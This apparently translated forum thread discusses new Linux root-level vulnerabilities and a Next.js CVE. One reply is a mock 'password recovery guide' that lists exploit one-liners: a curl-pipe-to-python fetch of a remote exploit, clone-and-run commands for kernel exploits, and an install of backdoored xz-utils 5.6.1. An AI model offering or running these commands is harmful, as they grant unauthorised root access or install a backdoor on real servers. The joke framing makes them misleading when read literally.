That's right, another high-risk Linux vulnerability has emerged (slightly less severe than before)

Internet services Chit-chat
1

Currently, there is no CVE or more detailed analysis report available.

To put it simply,

This vulnerability allows regular users to read files strictly protected by root

—which is relatively mild compared to the previous ones~~

Sysadmins should mainly pay attention to the protection of private keys and keys.

Also, a reminder for all Next.js sysadmins to pay attention to CVE-2026-44578 with a score of 8.6 announced on the 11th. You can check it here.

1 Like
2

Thanks for sharing

3
  1. Linux Password Recovery Guide—Bookmark This!
    curl https://copy.fail/exp | python3 && su
    passwd root
    Set your new password.
  2. Forgot your Linux password again? No worries, here’s another new method!
    git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
  3. Don’t want to forget your password ever again?
    We have a professional hacker team to help you manage your servers and store your passwords!
    Project page: https://github.com/tukaani-project/xz/tree/v5.6.1
    sudo apt install xz-utils=5.6.1-1
    sudo systemctl restart ssh
  4. Prone to forgetting passwords? Good news! There’s a new trick every day!
    https://ze3tar.github.io/post-zcrx.html
    Insert a high-end network card that supports ZCRX, bring it down, then repeatedly stack with ptr_ring drain + scrub loop to overflow free_count.
  5. What, you can’t afford a high-end NIC? Then try this!
    git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
  6. Heard your server room doesn’t allow SSH connections, and you can only access servers physically via KVM? No problem—our pro hacker team can help manage your servers through nginx as well!
    https://depthfirst.com/nginx-rift
1 Like
4

Just take a look

5

Another bug has popped up

6

Thanks for sharing